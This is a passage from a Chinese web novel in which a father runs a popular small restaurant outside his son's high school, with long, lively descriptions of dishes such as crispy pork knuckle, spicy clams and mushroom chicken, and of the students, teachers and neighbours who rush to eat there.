开始炫耀起自己今天吃到的菜有多美味，甚至直到现在还有人在班级群里发美食照片馋人。 “我感觉明天班上估计有一大部分人会到店里来吃饭。”楚瑾钰道。 楚易文：“那他们得早点来，太晚的话可没有菜吃, 今天除了你们学校学生，其他顾客也不少。” 父子俩简单聊会天，由于明天一个要上学, 一个要开店，很快就各自回房间休息。 次日, 楚瑾钰来到班级，同学们纷纷热情跟他打招呼，随即有人忍不住询问今天他家店的菜单。 “其他不知道，不过我爸说今天会做道新菜, 脆皮猪肘。” 所谓新菜，是对楚瑾钰来说，他光是想想菜名就感觉肯定好吃，心里已经开始期待起来。 对于爱吃肉的人来说，脆皮猪肘听起来就能脑补出大口吃肉的满足感, 别说班上其他同学，就连胡一齐嘴巴里都开始分泌起口水来。 “楚爸做的脆皮猪肘肯定好吃，中午我要多吃点。” “你哪天少吃了？”楚瑾钰斜他一眼。 “脆皮猪肘？听起来就很好吃。” “我爱吃猪肘，希望中午能准时放学，不然我怕去晚了买不到。” “楚瑾钰，叔叔为什么不多做点菜啊？我昨天过去时都没吃到肉。” 班上同学们议论纷纷，还有昨天去过店里吃饭的人开始询问。 楚瑾钰：“我昨天不是说过，我爸在校门口开店主要是为了方便我们去吃饭，不靠这个赚钱，所以不会做太多菜。” “太可惜了，看来中午得跑快点。” “上午最后一节课是体育课，从操场过去应该挺快。” 班主任从外面进来时，就听见班里学生不好好早读，正聊得热火朝天，本来想批评他们几句，结果在听见关键词时，立刻被转移注意力。 “楚瑾钰，你爸在校门口开店了？” 看到班主任突然进来，连书都没拿出来的楚瑾钰赶紧把书放到面前打开，听到他问话点头道：“对。” 得到肯定的回答，班主任问完店名就没再说什么，视线扫过全班，在所有学生都自觉地开始早读时走到讲台前坐下。 另一边，楚易文吃完早餐顺手给院子里的花草树木浇了下水，随即才开车去采购食材。 他先去码头菜市场那边买蔬菜，开店后食材需求量大，他倒是可以多买点，看到老人们将菜卖出去脸上不自觉露出笑容，他心情也挺好，觉得开店还真是一举好几得。 在这边采购完，他还得去其他市场买肉类，买完直接回店里。 买完菜时间还早，他坐在店里休息会才开始处理食材，并顺手将手机架起来拍视频。 今天他买到不少蘑菇，中午准备煮个菌菇汤，除此之外还有刚学会的脆皮猪肘、白萝卜烧鸡翅、芋头烧排骨、松仁玉米、蓑衣黄瓜。 当他开始做菜时，香味渐渐从厨房飘出去，最开始只是遍布整个店铺，随着香味越来越浓郁，开始从门缝里钻出去。 今天午餐里，香味最霸道的绝对要数脆皮猪肘，浓烈的肉香夹杂着烤制的焦香扑鼻而来，最先被馋到的就是附近店铺里的人。 别说隔壁文具店老板，就连旁边同样做餐饮生意的早餐铺子内，老板都被这股香味给馋得忍不住走出来：“这是在做什么菜？简直能香死个人！” 他还在发出疑惑，文具店王老板直接和妻子两个人走到盲盒餐厅前朝里面张望。 自从昨天吃过他家饭，夫妻俩全部被那色香味俱全的滋味给征服，已经决定接下来都在他家吃。 “都说打开门做生意，他家怎么这个点还把门关着？”王老板妻子不解道。 王老板：“我昨天打听过了，人家跟我们可不一样，我们开店是为了赚钱，人家开店是为了自家儿子吃饭方便，根本不在乎其他顾客，所以想吃他家饭可得来早点。” 说完他觉得自己运气是真不错，就在隔壁，近水楼台先得月，怎么都能吃着。 “昨天那道水煮肉片太好吃了，不知道今天还有没有。”王老板妻子想到昨天那道麻辣鲜香的水煮肉片，现在还忍不住回味。 王老板：“没闻见水煮肉片那股味，不过就算没有水煮肉片，肯定也有其他好菜吃……” 夫妻俩说话的工夫，陆续又有人来到店门口，其中甚至包括几个从学校里出来的中年人。 店内，楚易文已经将午餐全部做完，此时正在切脆皮猪肘。 烤好的一个个大猪肘子，表面散发着像焦糖一样的光泽感，刀落上去时发出清脆的“咔嚓”声，等切开外面那层脆皮，里面的肉鲜嫩多汁，脂肪层经过先煮再烤已经变得软糯胶黏，闪烁着诱人的光芒。 昨天的刀工加五让他此时握着刀明显更加顺手，轻轻松松就将猪肘切成均匀的小块，每块都是金棕色脆皮带着肥瘦相间的猪肘肉，看起来令人食指大动。 而同时，随着猪肘一个个被切开，更加浓郁的肉香顺着门缝飘出去，让已经等在门口的顾客馋得差点没贴到玻璃门上。 “妈呀，馋死我了！” “不行了，我口水都要掉下来了，老板！老板可以吃饭了没？” 楚易文听到外面传来的声音，扯着嗓子喊了声“稍等”，把最后几个猪肘切完，随即才转身去开门。 在看到七八个顾客紧贴在大门外时，他心里不由“嚯”了一声，示意他们后退一点才把门打开。随着玻璃门被推开，店内被藏着的香味瞬间涌出去，几种不同的诱人香味扑面而来，让等在门口的顾客不约而同咽了下口水。 香味让顾客们脚步都不自觉停顿一瞬，随即用更快的速度冲进店内，想要看看到底是什么菜这么馋人。在他们进店的同时，学校内放学铃声响起，操场上一帮学生撒腿往大门方向跑。 “原来是脆皮猪肘，怪不得那么香！” “白萝卜烧鸡翅？这两个还能放一块烧？不过看起来倒是挺诱人。” “这芋头烧排骨看起来好好吃啊！” 顾客们看到今日菜品时，边嗅着那浓郁的香味，边露出陶醉的表情。 他们自觉地开始排队时，楚易文忽然从中看到个熟悉的面孔：“咦，吕老师你怎么来了？” 吕老师作为楚瑾钰班主任，还是要面子的，总不能说是自己嘴馋想吃，于是客套地来了句：“听楚瑾钰说你在校门口开店，过来看看。” “谢谢吕老师照顾生意。”楚易文闻言客气了一句，本来不准备收钱，但吕老师非要给，便多给他打了点菜。 吕老师看到自己明显比别人多的菜量有点不好意思，对着他手艺好一通夸，随即才拿着打包好的饭菜跟同事一起离开。 他刚从店里出来还没走多远，就看到自己班上一群学生撒腿往这边跑，直接无视他冲进盲盒餐厅。 吕老师估计他们应该不是故意无视自己，而是此时心里只有吃饭两个字，笑着摇摇头继续往学校里走。 “哇~” 在闻着浓郁香味，看到卖相诱人的菜品，尤其是那道脆皮猪肘时，进店的学生忍不住发出此起彼伏的感叹声，觉得同样是菜，为什么食堂做得那么垃圾，楚瑾钰他爸却做得如此诱人。 “叔叔我要两份脆皮猪肘！” “你买那么多干嘛？其他人不用吃了吗？” “叔叔我也要脆皮猪肘，还要那个排骨！” 看到学生们蜂拥而至，此时甚至有人在你推我，我推你，楚易文赶紧开口：“别挤，先排好队，不然你们这样一起嚷嚷，我根本听不清楚。” 楚瑾钰进店时就看到乱哄哄的场景，都有点佩服自己班上这帮同学，觉得他们体育课跑八百米时都没那么快。 “你们别挤了，再挤谁都别吃了。”心里吐槽完，楚瑾钰帮他爸喊了两声。 其实不用他喊，在楚易文开口后学生们就开始有序地排好队，声音也都放低下来。 他们还要排队，楚瑾钰他们就爽了，进来直接有饭吃，甚至楚易文考虑得很周到，不光给他们准备了一盘切好的脆皮猪肘，还有整个没切的。 “这大猪肘子，看得我口水都要下来了。”胡一齐望着那一整个脆皮猪肘，抬手抹把嘴角，随即直接上手捏起块切好的猪肘塞进嘴里。 牙齿咬上去时，表面那层脆皮发出清脆的“咔嚓”声，高温的烤制让它甚至带着几分空气感，酥脆松化。继续往下，是脂肪层，多余油脂都被烤出来，吃起来肥而不腻，只余浓郁的脂香，瘦肉部分软烂多汁，吃起来更是咸鲜入味。 “唔，这脆皮猪肘真是绝了！”胡一齐有被好吃到，眼睛都微微睁圆。 叶其林用筷子划过猪肘表皮，那清脆的咔咔声，还没吃就感受为什么叫脆皮猪肘。 “表面这层皮真的好脆，我第一次发现原来猪皮吃起来那么香！”他用筷子感受完就直接夹起来塞进嘴里，同样被好吃到。 楚瑾钰咀嚼着嘴里喷香的脆皮猪肘，赞同地点头。 “不光外面那层脆皮好吃，里面的肉更是香，最重要的是吃起来肥而不腻。”商时贸不喜欢太油腻的吃食，对他来说，肥而不腻是对肉食最高的夸赞。 先煮再烤的猪肘多余油脂早就被弄出来，此时只保留丰腴的口感和脂香，吃起来却完全不油腻，不光肉好吃，带骨的部分啃起来更加香。 前面来的顾客早就已经吃上，此时有人直接用手捏着猪骨头，啃着骨缝里的筋膜与胶质，香得根本舍不得丢下来。 “太好吃了！感觉比五星级大酒店的菜还好吃！” “外酥里嫩，肥而不腻，这真是我吃过最美味的猪肘！” 脆皮猪肘整体偏咸鲜，同时带着浓郁焦香和脂香，不管是外面那层脆皮还是底下的肉，都好吃到令人惊叹。由于处理得很干净，整道猪肘完全没有什么异味，满满都是浓郁肉香，吃完令人回味无穷。 在外来顾客们的夸赞声中，学生们也都打好饭开吃起来，好吃到完全没工夫说话。 在学生们沉浸在美食中时，办公室里，吕老师跟同事正在一起吃饭，平常他们用餐时会边吃边聊，吐槽下班里学生，今天却是一句话都没说，埋头苦吃。 随着饭菜香味飘满整个办公室，又顺着门口飘出去，隔壁办公室里石老师不由起身顺着香味找过来。 “吕老师，你们在哪买的饭？闻起来也太香了！” “校门口，盲盒餐厅。”吕老师咀嚼着酥脆软糯的脆皮猪肘，好吃到完全没心思跟人聊天，言简意赅地说完就低头继续吃。 看到他压根不想聊天，石老师想蹭一口都不好意思说，只能转身往外走，准备去那个盲盒餐厅吃饭。 他速度很快，可等他到店里时店内已经坐满人，饭菜更是全部卖光光。 “不好意思，已经卖完了。” 楚易文话落，楚瑾钰听见熟悉的声音转头看过来，下意识喊了声：“石老师！” “你们班来这里吃饭的人是真不少，也不知道跟我说一声，喊我一起来。”石老师刚刚一心惦记着吃饭，此时才发现店里好多都是自己教的学生。 得知这是自己儿子的老师，楚易文道：“原来是石老师，不介意的话你跟我一起吃吧。” “那怎么好意思。” 石老师话落，楚瑾钰道：“老石你还会不好意思？那之前是谁上课是蹭我香辣田螺吃？” “什么蹭，那是上课需要。”石老师板着脸道。 胡一齐闻言立刻笑嘻嘻附和：“就是，上课的事怎么能叫蹭吃呢，那叫合理处理教具，老石我说的对不对？” 他话落，店内其他学生都跟着笑起来，还有人估计夹起块脆皮猪肘晃悠着故意馋石老师。 看出这位石老师跟自家儿子以及班里学生关系很不错，楚易文再次盛情邀请。 石老师想要拒绝，但店里香味实在太诱人，尤其是看到那金棕色的脆皮猪肘，还没吃就感受到它有多香脆，根本拒绝不了，于是提出给钱买一份。 楚易文知道他估计是怕影响不好，于是意思意思收了点钱，从厨房里打出一份饭菜给他。 何止脆皮猪肘好吃，白萝卜烧鸡翅同样美味，那软嫩脱骨的鸡翅，咸鲜中透着甘甜的白萝卜，好吃到石老师连话都说不出来。 直到碗里饭菜吃掉一大半后，他才终于有空说话：“楚瑾钰爸爸，你做的菜也太好吃了！就连黄瓜都特别美味。” 看到石老师被饭菜惊艳到的表情，楚瑾钰他们几个脸上都透出与有荣焉的表情，随即胡一齐好心提醒：“楚爸的手艺自然没得说，才开店两天就一堆人抢着过来吃，老石，你要是晚上还想吃，记得早点来。” 他话落，旁边桌上有个刚吃完饭的学生忍不住问：“叔叔，晚上吃什么？” “晚上有玉米排骨汤、香辣花甲、黑鸭煲、干煸藕丝、红烧肉、辣椒炒蛋。”晚餐食材早就准备好，听到有人问楚易文也没隐瞒，直接说出来。 明明此时大部分人都已经吃饱，但听到他报出菜名时，还是有很多人都馋起来。 “都是我爱吃的菜，好想赶紧到下午啊！” “黑鸭煲是什么？我还没吃过。” 听到这句话，胡一齐开口道：“就是黑鸭风味的鸭肉煲，甜辣味的，特别好吃！” “甜辣味的黑鸭煲？我喜欢吃这个！” “这个我也喜欢！” 明明才刚吃完午饭，学生们已经开始期待起晚饭来。 不光是他们，就连隔壁文具店夫妻俩同样如此，下午三点多时视线就开始往外面飘，已经开始想吃晚饭。 从昨天中午到今天中午，连着三顿饭吃得实在太满足，以至于夫妻俩现在连自家生意都不是特别在意，心心念念全是什么时候能吃饭。 这年头，随着经济条件变好，大家对吃的追求也越来越高，想找个好吃又干净卫生的店可不容易，楚易文家店虽然才刚开始营业没两天，已经成为不少顾客心中的宝藏店铺。 四点多时，盲盒餐厅里已经有香味开始飘出来，随着时间的流逝，那股香味越来越浓郁。 厨房内，楚易文正在做最后一道菜——香辣花甲。 这道菜是他昨晚睡觉前学的，花甲早上就采购回来，经过一整天多次换水吐沙，此时已经处理得特别干净。 他将底料炒香后，锅里倒入花甲开始大火爆炒，当花甲均匀裹上红亮的酱料，锅边淋上一圈料酒去腥增香。料酒接触到锅边缘，高温下发出“嗤啦”一声，让花甲的鲜味更上一层楼。 随着源源不断的香味从厨房飘出去，隔壁店内夫妻俩开始坐不住，原本店里不管什么时间都该留个人看店，此时在香味诱惑下，他们却是不约而同起身走向隔壁。 隔壁店玻璃门依旧关着，但他们已经习惯，蹲守在外面等待开门。 伴随着学校内铃声响起，楚易文走出来将大门打开，王老板夫妻俩和几个老顾客立刻涌进店中。 红烧肉浓郁的肉香，香辣花甲特有的鲜香，玉米排骨汤的清香……几种香味漂浮在空气中，让人轻嗅一下就胃口大开。 “老板，每个菜给我来二十份，打包。” 如果楚易文是普通饭店老板，听到有顾客一次买那么多，肯定会很高兴，但他此时表情却是有些为难，犹豫两秒后道：“不好意思，还有好多学生要过来吃饭，所以每个人最多买两份。” 虽然他家店不能满足所有学生吃饭的需求，但如果此时一次卖出二十份饭菜出去，那么中午那些期待着晚餐来吃饭的学生肯定有很多都得失望。 开口的顾客闻言皱眉道：“老板，你打开门做生意，卖给谁不是卖，我又不会少给你钱。” “我开店主要是为了方便自家孩子吃饭，做生意只是顺便……”楚易文解释道。 人家都说开店不是为了做生意，那位顾客也不好再说什么，只能买了两份饭菜离开。 等前面几位顾客买好饭，很快一批学生就跑进来，刚进店就都不自觉道：“好香啊！” “闻见香味我就饿了！” “我闻到红烧肉的香味了！” 随着学生们涌进来，店里顿时变得特别热闹。由于都知道楚易文不会做太多菜，排队时但凡前面的人多买一天，后面的学生就忍不住发出抗议。 已经在专属座位坐下来的楚瑾钰听见同学们着急的声音，伸出筷子夹起个花甲送到嘴边，将肉从壳里咬出来，享受着鲜嫩弹牙的滋味，感觉特别幸福。 新鲜的花甲自带鲜甜感，鲜嫩弹牙的花甲肉与汤汁相融合，吃起来鲜辣咸香，余味中又带着食材本身的鲜甜，简直不要太美味。 “楚爸做的香辣花甲好好吃啊！”胡一齐连吃几个花甲，连花甲壳内外的汤汁都吮干净。 商时贸道：“不光好吃，而且还没有沙，吃起来太舒服了。” 他还挺喜欢吃花甲，但平常吃得不多，因为外面卖的花甲里总是有沙，每次吃到沙时他瞬间就胃口全无。 此时他试探着吃了几个，发现全部都没有沙后顿时就放下心来，开始享受起香辣花甲的美味。 由于花甲本身就很鲜，楚易文没做得太辣，免得辣味掩盖食材本身的鲜甜，恰到好处的辣味让花甲吃起来特别过瘾。 第69章 香菇滑鸡 鲜辣咸香的花甲何止商时贸他们爱吃, 店内其他顾客在尝到花甲的滋味时同样被惊艳到。 新鲜的食材加上完美的火候把握加上绝佳的调味，让花甲壳外裹着的汤汁都特别鲜，花甲肉更是不老不腥, 满满都是食材本身的鲜美，吃起来甚至有点溢汁感，吃完嘴巴里还留有余香。 “怎么会有这么好吃的花甲！” 对于爱吃花甲的人来说，碗里那道香辣花甲味道简直绝了，吃得根本停不下来。 随着店内花甲壳碰撞的清脆声音时不时响起，还在排队等着买饭的余思语表情犹豫起来，等到前面时开口问：“叔叔, 你家花甲真的没沙吗？” 她还挺喜欢吃花甲，但想到前几天在外面吃花甲粉时，咬一口花甲就吃到一口沙的感觉, 决定还是先问问。 “放心，没有沙。” 其他人可能不敢保证绝对没沙，但楚易文通过老爷子学到让花甲将沙吐干净的小秘诀, 直接打包票。 他之所以如此自信，主要昨晚在系统厨房内, 他做的每份香辣花甲都自己吃完，确实全部没有沙。 听到他这么说，余思语这才点了份香辣花甲，随即找位置坐下来。除了花甲, 她还点了红烧肉、干煸藕丝，此时望着面前的饭菜，还没吃眼睛就微微亮起来。 香辣花甲壳是干净的灰白色，壳内外都带着微红的汤汁，壳内卧着嫩白饱满的花甲肉, 整道菜不光看起来卖相诱人，更是给人种食材处理得特别干净的感觉。 干煸藕丝色泽金黄，根根分明，莲藕特有的清香混着焦香，还没吃就让人感受到它的酥脆。红烧肉更不用说，那晶莹剔透的模样，看着就让人特别想咬一口。 跟食堂饭菜经常令人失望不同，余思语光是看着面前的饭菜就有种食欲大开的感觉，等到第一个花甲送到嘴边，她先轻吮口表面的汤汁，味蕾已经感受到那股带着微微辣味的鲜香。 等咬下壳内的花甲肉时，她还是带着几分小心，发现确实没沙后才大胆地咀嚼起来，那鲜嫩弹牙的花甲肉配上汤汁的香辣咸鲜，好吃到她立刻又夹起第二个、第三个花甲。 那新鲜的口感，完美的味道，让余思语感觉到好吃的同时，她发现自己以前吃的花甲简直不是一般难吃。 原来花甲是可以没有沙的！而且能那么鲜美弹牙！ 余思语眼睛亮晶晶地望着剩下的花甲，甚至有点后悔刚刚没多买点。 香辣花甲好吃到她有点上头，直到全部吃完还有点意犹未尽，回味着嘴里余味转头道：“叔叔，你做的花甲真好吃！真的一点沙都没有！” 楚易文此时刚打完最后那点菜，闻言笑了一下，收拾好空盆转身回厨房。 没买到饭的人发出失望的声音，对此他都有点习惯，端着自己那份晚餐坐到儿子旁边。 楚瑾钰四人已经吃得差不多，在他落坐时，纷纷夸道：“楚爸，你做的花甲真好吃！” “干煸藕丝也好吃，香香脆脆的，比薯条还香。”胡一齐吃两口干煸藕丝后说。 干煸藕丝表面香脆，内里则还保持着食材本身的脆嫩，两种不同的脆形成绝佳的口感，越吃越香。 他们几个经常吃楚易文做的饭菜都还忍不住夸，其他人就更不用说。不光香辣花甲受到顾客们喜爱，红烧肉、干煸藕丝、黑鸭煲、辣椒炒蛋、玉米排骨汤同样令他们赞不绝口。 肥而不腻的红烧肉对于爱吃肉的顾客来说，一口下去就被香惨了，肉皮软糯，肥肉部分入口即化，瘦肉部分酥烂入味，好吃到令人想哭。 “太好吃了！怎么会有这么好吃的红烧肉！” “我头一次发现，原来肥肉还能这么好吃！” 有原本不是很爱吃肥肉的同学在红烧肉诱人的卖相下买了份，原来还以为会腻，结果吃进嘴里却是立刻被那入口即化、肥而不腻的口感给惊艳到。 “黑鸭煲好好吃啊！甜甜辣辣，比外面卖的卤味还好吃！” 颜色偏暗的黑鸭煲汤汁浓稠，每块鸭肉上都裹着汤，吃进嘴里甜辣适中，鸭肉皮滑肉嫩，咀嚼间能感受到连骨头都已经煮入味。 为了给鸭肉去腥，汤里还有不少姜片，姜是最擅长伪装的食材，裹上浓稠的汤汁后乍一看有点像小块鸭肉，但咬进嘴里时那微脆的口感，立刻就能让人反应过来是姜。 “靠！吃到姜……哎，这姜竟然有点好吃？” 发现自己咬到姜的同学本来感觉有点倒霉，正想把嘴里姜吐出来，然而下一瞬却是感觉这姜味道并不讨厌。 黑鸭煲里的姜片经过煸炒，表面带着微微焦皱，同时食材里原本的辛辣被炒出来，吃起来没有那么冲人，配上汤汁的甜辣鲜香，多嚼两口有种说不出来的好吃。 如果说姜片单吃时还多少让人有点吃姜的不适应，但跟鸭肉配着一起吃，却是别有一番滋味。 尝到姜片的美味后，他看到同桌的朋友要把姜挑出来丢掉，赶紧道：“你别丢啊，这里面的姜还挺好吃，不吃给我。” “姜好吃？真的假的？”他嘴里带着疑问，但手却很诚实地把姜片送进嘴里，发现还真不难吃，反而跟鸭肉搭配起来还有点好吃。 盲盒餐厅里此时已经坐满人，大家或埋头苦吃，或被惊艳到忍不住夸赞几句，店内气氛特别和谐。 最先吃完饭的依旧是楚瑾钰他们几个，在随后又有人进店时，他们主动开口表示已经卖完了。 “老板，现在才几点你就不做生意了？是嫌钱烫手吗？” 听到这么早就没饭吃，有人忍不住发出几声小抱怨。 晚餐时间结束，吃饱喝足的学生们带着满足的表情回学校去，路上还在聊晚饭的菜色。 店内，楚易文送走儿子他们，简单收拾一下就开车回家。 回到家里他先洗了个澡，随即坐在沙发上看会电视休息。直到感觉电视没什么好看的，他才慢悠悠走进书房，开始剪视频。 受到老爷子影响，他如今做菜时同样带上几分行云流水的流畅感，加上他越来越好的刀工，看他做菜实在是种享受。 随着视频剪好发出去，很快底下就有粉丝开始评论。 【花甲看起来处理得好干净，有什么小秘诀吗？】 【学是学不会了，也就能看着视频解解馋（口水）】 【你确定看视频能解馋？为什么我越看越馋，香辣花甲看起来好好吃啊，决定了，晚上就吃花甲粉！】 【咦，怎么感觉这个锅特别大？】 【看视频实在学不会，能给个地址让我线下学习吗？我保证就在旁边看看，绝对不会偷吃。】 楚易文发完视频没怎么关注评论，直接用今天新收获的顾客好评又来了次十连抽。 他今天运气一般，抽到的要么是菜谱，要么是谢谢惠顾。 等到他通过抽奖又学到不少新菜时，很快高一、高二的学生们国庆假期也结束。 新的一天，随着高一、高二、高三学生全部都开始上学，学校人流量明显多起来，校园内更是热闹得不行。 高一、高二学生刚收假，早读时心思明显还没从小长假里收回家，大部分都在偷偷聊天。 “我早上看见学校门口开了家新店。” “什么店？” “叫盲盒餐厅，就在原本卖麻辣香锅的地方。” “盲盒餐厅？这年头吃饭也能开盲盒了？听起来还挺有趣，要不中午去尝尝？” “行啊，不过搞这种店名来吸引人的店，估计饭菜不会特别好吃。” “没事，总不会比食堂还难吃。” 高二三班的两个学生早读时间就确定好中午吃饭的地方，不过等到他们放学后来到那家盲盒餐厅时，却是瞬间傻眼。 “怎么那么多人？” 他们放学后在教室里磨蹭了好一会，现在过来餐厅里人多很正常。 此时店内一部分是楚瑾钰班上同学，一部分是其他高三学生，还有一部分是周边店铺老板和其他顾客，人多得不行。 “你闻，好香啊！看来这家店应该挺好吃。” 说完二人赶紧加入排队人群中，然而他们来得实在太晚，还没等轮到他们饭菜就被卖光。 别说他们没买到，有好多已经连着过来吃了好几餐饭的高三学生都没买到，忍不住叹气：“哎，感觉他家饭真是越来越难买到了……” “没办法，谁让他家好吃，下午早点来吧。” “那我们现在去吃什么？” “不知道，感觉闻着他家饭菜的香味，完全不想吃别家的饭了。” “那干脆随便买个面包垫垫肚子算了。” 没买到午餐的同学甚至不愿意去食堂或者其他饭店将就，宁愿随便啃点面包，同时下定决心，下午放学一定要跑快点。 与此同时，校门口。 “妈，下午不用给我送饭了。” “不送饭你吃什么？” “学校门口开了家新店，我下午想和朋友一起过去吃饭。” “外面的店哪有家里做的饭干净，要不晚上我多做点菜，你和你朋友一起吃。”当妈的以为自家孩子是想跟朋友一起吃饭，宁愿自己辛苦些多带点饭。 “可是我和朋友已经约好了，妈妈你最好了，就让我去尝尝嘛~” 最终经不住女儿撒娇，妈妈还是答应下来。 这位妈妈疼女儿，从高一开始就天天给她送饭。习惯是个可怕的东西，下午到饭点时，她拎着保温桶到校门口才反应过来，自己答应女儿让她晚餐跟朋友出去吃。 “妈，不是说好让我晚上在外面吃吗？”女生正好从学校里出来，看到妈妈的身影有些不高兴，觉得她说话不算话。 和她一起出来的朋友怕她跟妈妈吵架，赶紧道：“没事的莹莹，我们明天再一起吃饭也一样。” 莹莹妈妈看到女儿不高兴了，赶紧解释道：“我送饭送习惯了，刚刚才想起来你晚上在外面吃，这样吧，你把饭拿着，再买点菜一起吃。” 听到妈妈不是言而无信，而是搞忘记，莹莹想到她每天给自己送饭很辛苦，表情瞬间软下来：“谢谢妈妈，你吃饭没？要不和我们一起吃。” “对啊阿姨，我们一起去吃吧，我们班上同学都说那家新店特别好吃。”莹莹的朋友跟着道。 莹莹妈妈听到女儿邀请，想想还是答应下来，决定去看看那家店卫生方面如何。 三人说好前往盲盒餐厅时，还没走近就闻见诱人的饭菜香，莹莹妈妈还好点，她旁边两个小姑娘闻着香味直接就发出感叹：“好香啊！” 楚易文今天下午做了道新菜，香菇滑鸡。干香菇泡发后香味本来就很香，随着高温煸炒，那股特有的木质芳香和菌菇特有的鲜味被充分激发出来，配上鸡肉的鲜香，整道菜闻起来简直不要太诱人。 被饭菜香给馋到，莹莹不由拉着朋友小跑起来，然而等她们到店门口时，里面已经排起长长的队伍。 随后跟上来的莹莹妈妈看到这一幕，不由道：“这么多人！” 店内香味更加浓郁，她闻着扑面而来的香味，又有点理解为什么这家店生意那么好。 三人在后面排队时，前面的学生已经买好饭菜，基本上都是还没到座位就边走边吃起来。 浅黄色鸡肉和深褐色香菇片搭配在一起，两种颜色原本就互相映衬很是漂亮，再加上裹在表面油亮的芡汁，让整道菜看起来闪闪发光。 面对卖相与香味都如此诱人的香菇滑鸡，根本没有人能拒绝，屁股还没坐下来，鸡肉已经进嘴。 滑炒出来的鸡肉吃起来带着极致的滑嫩，腌制过后鸡肉特别入味，低温滑油炒出来的鸡肉保留充足的汁水，吃起来软嫩多汁。 “好好吃啊！简直就是人间美味！” 不柴不腥的鸡肉就已经能给高分，如果再加上鲜嫩的口感，醇香的滋味，那简直是完美。 专属座位上，楚瑾钰同样在吃香菇滑鸡。其实他平常更偏爱辣口的菜，但今天这道咸鲜醇厚的香菇滑鸡，却是让他感觉不辣也挺好吃。 鲜嫩多汁的鸡肉染上几分香菇特有的木质清香，吃起来肉香浓郁而不腻。香菇味道同样好吃，吸收汤汁的精华后吃起来软韧鲜美，特别有嚼劲。 香菇和鸡肉单独吃好吃，合在一起口感更加丰富，香菇的滑韧和鸡肉的滑嫩互相交织，咀嚼间汤汁的鲜香从食材里溢出来，酱香浓郁，菌菇特有的香气吃完令人唇齿留香。 胡一齐：“这个香菇滑鸡真是好吃死了！” 叶其林赞同地点头，觉得香菇滑鸡确实好吃到他刚刚差点咬到嘴唇。 他只是差点咬到，旁边有张桌上，却是有人真咬到嘴，“哎呦”一声后被身旁朋友打趣：“你这是馋肉了？” 有个说法，说是馋肉的人才会咬到嘴巴。但被打趣的人显然不是，他只是单纯因为香菇滑鸡太好吃，咀嚼速度过快，不小心咬到。 咬到嘴唇其实挺疼，但感受着味蕾上那股恰到好处的咸鲜味，他直接忽略那点疼，继续吃起来。 眼见他连着吃了两筷子香菇滑鸡，朋友顾不上再笑话他，赶紧往碗里抢菜，生怕他吃完自己没有了。 店内人很多，但吃饭的人几乎都是低着脑袋，完全沉浸在美食中，偶尔实在忍不住才会抬头夸一句，随即继续开吃。 美食令正在吃饭的人心情愉悦，但还在排队的人却是又馋又有点着急，生怕轮到自己时没菜了。 但怕什么来什么，很快一道道菜就开始见底，装香菇滑鸡的盆里更是只剩下点汤汁。 发现香菇滑鸡卖完了，好不容易排到前面的学生失望地“啊”了声，随即指着盆道：“可以把汤给我吗？” 楚易文闻言，直接用勺子将剩下那点菜汤盖到米饭上。 香菇滑鸡浓稠的汤汁呈现浅金色，落到米饭上后给原本就晶莹的米饭添上一抹油润光泽，散发出一股浓郁鲜香。 拿到饭菜的学生望着手里色泽诱人的米饭，直接往嘴里扒了一口，吸收鸡肉和香菇鲜味的汤汁为米饭添上股咸鲜味，配上浓郁的米香，简直不要太美味。 想到汤汁拌饭都那么好吃，他更加遗憾没有买到香菇滑鸡，如果不是手里正端着饭菜，都想伸手拍拍自己那两条不争气的腿，觉得都怪它们放学时跑得不够快。 他运气其实还不错，至少买到两个菜，还蹭走最后那点香菇滑鸡的菜汤。排到他后面的学生已经没有挑选的余地，基本上是有什么吃什么。 不过楚易文手艺好，不管是荤菜素菜都做得特别香，学生们只要买到饭菜，小失望过后都吃得很满足。 “这个茄子好香好下饭啊！” “确实，看起来油润润的，吃起来却是一点都不腻，我可太喜欢了！” 几个学生买完肉末茄子边吃边夸时，楚易文开口对还在排队的顾客道：“不好意思，只剩最后两份肉末茄子了，剩下的人别再排了。” 队伍最前面两个学生闻言，也不嫌弃只能一个肉末茄子能吃，反而庆幸地吐出口气来。 莹莹和朋友排在更后面的位置，刚刚排队时她们就已经被店里其他顾客面前的饭菜给馋到，已经讨论好待会要点什么，现在听见卖完了，表情瞬间就落下来。 看到女儿失望的表情，莹莹妈妈赶紧上前几步道：“老板，能再做点吗？我女儿中午就说要过来吃饭，她都期待一下午了。” “实在不好意思，食材已经用完了。”楚易文歉意道。 听到店里没有食材，莹莹妈妈也不好再说什么，只能回头对女儿道：“没事，妈妈给你带了饭，你们可以一起吃。” 莹莹不想说话，脸上带着失望的表情点点头。 由于店内已经坐满人，她们肯定没办法蹭位置坐，于是从店里出去，来到平常吃饭的位置。 莹莹妈妈准备的晚餐有虾有肉有菜，可以说很丰盛，但不论香味还是卖相都只能算是家常水平，没有店里饭菜那么诱人。 不过莹莹失望归失望，倒是没有挑剔什么，而是招呼朋友和自己一起吃饭。 几口饭菜下肚，莹莹终于开口说话：“我感觉我运气是真不好，上次……” 朋友闻言，安慰了她几句，表示明天她们可以早点来。 “可是我们今天已经是一放学就赶紧出来了，不知道为什么，我总感觉明天也不一定能吃到。”莹莹说完忍不住鼓了下脸颊，觉得自己从小到大运气就没好过。 莹莹妈妈听到女儿的话，主动开口道：“没事，妈妈明天早点过来，帮你们俩买饭，你们明天出来直接吃就行。” 她不全是为了女儿，而是刚刚在店里时同样有被香味馋到，没吃到她同样有些失望，只是不像女儿表现得那么明显。 听到妈妈的话，莹莹眼睛瞬间亮起来，觉得这个办法好，明天肯定能吃到。 “妈妈你真好！妈妈我爱你！” 旁边的女生闻言感觉麻烦朋友妈妈有点不好意思，但到底还是拒绝不了美食的诱惑，于是道：“谢谢阿姨~” “没事，你们快吃吧。” 确定明天能吃到盲盒餐厅的饭菜，莹莹心情瞬间变好，食欲都上来几分。她妈妈做的饭菜比不上店里那么香，但至少比食堂好吃，很快她就跟朋友一起解决完晚餐，开始期待起明天的到来。 经过一天的发酵，很多高一、高二学生也都知道，校门口新开了家叫盲盒餐厅的店，里面饭菜特别美味。今天没吃到的学生都在心里暗暗发誓，明天一定要跑快点，吃到的更是如此。 次日。 上午十点多，盲盒餐厅大门还没打开就有三三两两的人在店门外晃悠，其中还有位老爷子。 莹莹妈妈本来以为自己来得已经挺早，没想到店门口竟然有人比她还先过来，主动跟他们闲聊起来。 在场的要么是附近店铺的老板，要么是住在周边的居民，比如那位老爷子，他家就在学校旁边，自从发现楚易文家店后，手里有退休金不缺钱花的他就天天过来吃饭。 第70章 椒盐大虾 盲盒餐厅外, 